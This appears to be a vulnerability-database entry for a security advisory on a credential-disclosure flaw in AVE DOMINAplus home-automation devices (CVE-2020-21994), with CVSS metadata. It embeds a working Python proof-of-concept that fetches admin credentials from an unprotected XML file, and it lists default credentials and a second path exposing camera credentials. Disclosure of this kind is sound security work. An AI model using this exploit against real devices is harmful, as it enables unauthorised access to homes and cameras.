Description
Title: AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit
Advisory ID: [ZSL-2019-5550](<ZSL-2019-5550.php>)
Type: Local/Remote
Impact: System Access, DoS, Security Bypass
Risk: (5/5)
Release Date: 27.12.2019
##### Summary
DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System. Designed to revolutionize your concept of living. DOMINA plus is the AVE home automation proposal that makes houses safer, more welcoming and optimized. In fact, our home automation system introduces cutting-edge technologies, designed to improve people's lifestyle. DOMINA plus increases comfort, the level of safety and security and offers advanced supervision tools in order to learn how to evaluate and reduce consumption through various solutions dedicated to energy saving.
##### Description
The application suffers from clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file '/xml/authClients.xml' and obtain administrative login information that allows for a successful authentication bypass attack.
##### Vendor
AVE S.p.A. - <https://www.ave.it>
##### Affected Version
Web Server Code 53AB-WBS - 1.10.62
Touch Screen Code TS01 - 1.0.65
Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
Touch Screen Code TS05 - 1.10.36
Models: 53AB-WBS
TS01
TS03V
TS04X-V
TS05N-V
App version: 1.10.77
App version: 1.10.65
App version: 1.10.64
App version: 1.10.62
App version: 1.10.60
App version: 1.10.52
App version: 1.10.52A
App version: 1.10.49
App version: 1.10.46
App version: 1.10.45
App version: 1.10.44
App version: 1.10.35
App version: 1.10.25
App version: 1.10.22
App version: 1.10.11
App version: 1.8.4
App version: TS1-1.0.65
App version: TS1-1.0.62
App version: TS1-1.0.44
App version: TS1-1.0.10
App version: TS1-1.0.9
##### Tested On
GNU/Linux 4.1.19-armv7-x7
GNU/Linux 3.8.13-bone50/bone71.1/bone86
Apache/2.4.7 (Ubuntu)
Apache/2.2.22 (Debian)
PHP/5.5.9-1ubuntu4.23
PHP/5.4.41-0+deb7u1
PHP/5.4.36-0+deb7u3
##### Vendor Status
[06.10.2019] Vulnerability discovered.
[14.10.2019] Vendor contacted.
[20.10.2019] No response from the vendor.
[21.10.2019] Vendor contacted.
[26.12.2019] No response from the vendor.
[27.12.2019] Public security advisory released.
##### PoC
[dominaplus_pwd.py](<../../codes/dominaplus_pwd.txt>)
##### Credits
Vulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>
##### References
[1] <https://packetstormsecurity.com/files/155763>
[2] <https://cxsecurity.com/issue/WLB-2019120113>
[3] <https://www.exploit-db.com/exploits/47819>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173620>
[5] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-21994>
[6] <https://nvd.nist.gov/vuln/detail/CVE-2020-21994>
[7] <https://www.tenable.com/cve/CVE-2020-21994>
##### Changelog
[27.12.2019] - Initial release
[29.12.2019] - Added reference [1] and [2]
[24.01.2020] - Added reference [3] and [4]
[19.06.2021] - Added reference [5], [6] and [7]
##### Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)
Related
{"id": "ZSL-2019-5550", "vendorId": null, "type": "zeroscience", "bulletinFamily": "exploit", "title": "AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit", "description": "Title: AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit \nAdvisory ID: [ZSL-2019-5550](<ZSL-2019-5550.php>) \nType: Local/Remote \nImpact: System Access, DoS, Security Bypass \nRisk: (5/5) \nRelease Date: 27.12.2019 \n\n\n##### Summary\n\nDOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System. Designed to revolutionize your concept of living. DOMINA plus is the AVE home automation proposal that makes houses safer, more welcoming and optimized. In fact, our home automation system introduces cutting-edge technologies, designed to improve people's lifestyle. DOMINA plus increases comfort, the level of safety and security and offers advanced supervision tools in order to learn how to evaluate and reduce consumption through various solutions dedicated to energy saving. \n\n##### Description\n\nThe application suffers from clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file '/xml/authClients.xml' and obtain administrative login information that allows for a successful authentication bypass attack. \n\n##### Vendor\n\nAVE S.p.A. - <https://www.ave.it>\n\n##### Affected Version\n\nWeb Server Code 53AB-WBS - 1.10.62 \nTouch Screen Code TS01 - 1.0.65 \nTouch Screen Code TS03x-V | TS04X-V - 1.10.45a \nTouch Screen Code TS05 - 1.10.36 \nModels: 53AB-WBS \nTS01 \nTS03V \nTS04X-V \nTS05N-V \nApp version: 1.10.77 \nApp version: 1.10.65 \nApp version: 1.10.64 \nApp version: 1.10.62 \nApp version: 1.10.60 \nApp version: 1.10.52 \nApp version: 1.10.52A \nApp version: 1.10.49 \nApp version: 1.10.46 \nApp version: 1.10.45 \nApp version: 1.10.44 \nApp version: 1.10.35 \nApp version: 1.10.25 \nApp version: 1.10.22 \nApp version: 1.10.11 \nApp version: 1.8.4 \nApp version: TS1-1.0.65 \nApp version: TS1-1.0.62 \nApp version: TS1-1.0.44 \nApp version: TS1-1.0.10 \nApp version: TS1-1.0.9 \n\n##### Tested On\n\nGNU/Linux 4.1.19-armv7-x7 \nGNU/Linux 3.8.13-bone50/bone71.1/bone86 \nApache/2.4.7 (Ubuntu) \nApache/2.2.22 (Debian) \nPHP/5.5.9-1ubuntu4.23 \nPHP/5.4.41-0+deb7u1 \nPHP/5.4.36-0+deb7u3 \n\n##### Vendor Status\n\n[06.10.2019] Vulnerability discovered. \n[14.10.2019] Vendor contacted. \n[20.10.2019] No response from the vendor. \n[21.10.2019] Vendor contacted. \n[26.12.2019] No response from the vendor. \n[27.12.2019] Public security advisory released. \n\n##### PoC\n\n[dominaplus_pwd.py](<../../codes/dominaplus_pwd.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <https://packetstormsecurity.com/files/155763> \n[2] <https://cxsecurity.com/issue/WLB-2019120113> \n[3] <https://www.exploit-db.com/exploits/47819> \n[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173620> \n[5] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-21994> \n[6] <https://nvd.nist.gov/vuln/detail/CVE-2020-21994> \n[7] <https://www.tenable.com/cve/CVE-2020-21994>\n\n##### Changelog\n\n[27.12.2019] - Initial release \n[29.12.2019] - Added reference [1] and [2] \n[24.01.2020] - Added reference [3] and [4] \n[19.06.2021] - Added reference [5], [6] and [7] \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "published": "2019-12-27T00:00:00", "modified": "2019-12-27T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php", "reporter": "Gjoko Krstic", "references": [], "cvelist": ["CVE-2020-21994"], "immutableFields": [], "lastseen": "2021-12-12T07:57:45", "viewCount": 8, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-21994"]}]}, "score": {"value": 4.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-21994"]}, {"type": "nessus", "idList": ["OPENSUSE-2017-662.NASL", "SUSE_SU-2017-1445-1.NASL"]}, {"type": "threatpost", "idList": ["THREATPOST:3B05FD25F1EFE431C23369F5790520EB"]}]}, "exploitation": null, "vulnersScore": 4.3}, "sourceHref": "http://zeroscience.mk/codes/dominaplus_pwd.txt", "sourceData": "<html><body><p>#!/usr/bin/env python\r\n#\r\n#\r\n# AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit\r\n#\r\n#\r\n# Vendor: AVE S.p.A.\r\n# Product web page: https://www.ave.it | https://www.domoticaplus.it\r\n# Affected version: Web Server Code 53AB-WBS - 1.10.62\r\n# Touch Screen Code TS01 - 1.0.65\r\n# Touch Screen Code TS03x-V | TS04X-V - 1.10.45a\r\n# Touch Screen Code TS05 - 1.10.36\r\n# Models: 53AB-WBS\r\n# TS01\r\n# TS03V\r\n# TS04X-V\r\n# TS05N-V\r\n# App version: 1.10.77\r\n# App version: 1.10.65\r\n# App version: 1.10.64\r\n# App version: 1.10.62\r\n# App version: 1.10.60\r\n# App version: 1.10.52\r\n# App version: 1.10.52A\r\n# App version: 1.10.49\r\n# App version: 1.10.46\r\n# App version: 1.10.45\r\n# App version: 1.10.44\r\n# App version: 1.10.35\r\n# App version: 1.10.25\r\n# App version: 1.10.22\r\n# App version: 1.10.11\r\n# App version: 1.8.4\r\n# App version: TS1-1.0.65\r\n# App version: TS1-1.0.62\r\n# App version: TS1-1.0.44\r\n# App version: TS1-1.0.10\r\n# App version: TS1-1.0.9\r\n#\r\n# Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.\r\n# Designed to revolutionize your concept of living. DOMINA plus is the AVE home\r\n# automation proposal that makes houses safer, more welcoming and optimized. In\r\n# fact, our home automation system introduces cutting-edge technologies, designed\r\n# to improve people's lifestyle. DOMINA plus increases comfort, the level of safety\r\n# and security and offers advanced supervision tools in order to learn how to evaluate\r\n# and reduce consumption through various solutions dedicated to energy saving.\r\n#\r\n# Desc: The application suffers from clear-text credentials disclosure vulnerability\r\n# that allows an unauthenticated attacker to issue a request to an unprotected directory\r\n# that hosts an XML file '/xml/authClients.xml' and obtain administrative login information\r\n# that allows for a successful authentication bypass attack.\r\n#\r\n# Default credentials: admin:password\r\n# Configuration and camera credentials disclosure: /xml/tsconf.xml\r\n#\r\n# ==================================================\r\n# root@kali:~/domina# ./poc.py http://192.168.1.10\r\n#\r\n# Ze microfilm:\r\n# -------------\r\n# Username: arnoldcontrol\r\n# Password: P1sD0nt5pYMe\r\n# ==================================================\r\n#\r\n# Tested on: GNU/Linux 4.1.19-armv7-x7\r\n# GNU/Linux 3.8.13-bone50/bone71.1/bone86\r\n# Apache/2.4.7 (Ubuntu)\r\n# Apache/2.2.22 (Debian)\r\n# PHP/5.5.9-1ubuntu4.23\r\n# PHP/5.4.41-0+deb7u1\r\n# PHP/5.4.36-0+deb7u3\r\n#\r\n#\r\n# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n# @zeroscience\r\n#\r\n#\r\n# Advisory ID: ZSL-2019-5550\r\n# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php\r\n#\r\n#\r\n# 06.10.2019\r\n#\r\n\r\nimport sys,re\r\nimport xml.etree.ElementTree as XML\r\n\r\nfrom urllib2 import Request,urlopen\r\n\r\nif (len(sys.argv) <= 1):\r\n print '[*] Usage: poc.py http://ip:port'\r\n exit(0)\r\n\r\nhost = sys.argv[1]\r\nheaders = {'Accept': 'application/xml'}\r\nrequest = Request(host+'/xml/authClients.xml', headers=headers)\r\nprint '\\nZe microfilm:'\r\nprint '-------------'\r\nxml = urlopen(request).read()\r\ntree = XML.fromstring(xml)\r\n\r\nfor user in tree.findall('customer'):\r\n print 'Username: ',user.get('plantCode')\r\n\r\nfor pwd in tree.iter('password'):\r\n print 'Password: '+pwd.text+'\\n'\r\n</p></body></html>", "impact": "System Access, DoS, Security Bypass", "exploit_type": "Local/Remote", "_state": {"dependencies": 1647589307, "score": 0}}
{"cve": [{"lastseen": "2022-03-23T15:09:08", "description": "AVE DOMINAplus <=1.10.x suffers from clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file '/xml/authClients.xml' and obtain administrative login information that allows for a successful authentication bypass attack.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-28T15:15:00", "type": "cve", "title": "CVE-2020-21994", "cwe": ["CWE-522"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-21994"], "modified": "2021-05-19T19:22:00", "cpe": ["cpe:/o:ave:ts03x-v_firmware:1.10.45a", "cpe:/o:ave:ts01_firmware:1.0.65", "cpe:/o:ave:ts05_firmware:1.10.36", "cpe:/a:ave:dominaplus:1.10.77", "cpe:/o:ave:ts05n-v_firmware:-", "cpe:/o:ave:53ab-wbs_firmware:1.10.62", "cpe:/o:ave:ts04x-v_firmware:1.10.45a"], "id": "CVE-2020-21994", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-21994", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:ave:ts01_firmware:1.0.65:*:*:*:*:*:*:*", "cpe:2.3:o:ave:ts04x-v_firmware:1.10.45a:*:*:*:*:*:*:*", "cpe:2.3:a:ave:dominaplus:1.10.77:*:*:*:*:*:*:*", "cpe:2.3:o:ave:ts05n-v_firmware:-:*:*:*:*:*:*:*", "cpe:2.3:o:ave:ts03x-v_firmware:1.10.45a:*:*:*:*:*:*:*", "cpe:2.3:o:ave:53ab-wbs_firmware:1.10.62:*:*:*:*:*:*:*", "cpe:2.3:o:ave:ts05_firmware:1.10.36:*:*:*:*:*:*:*"]}]}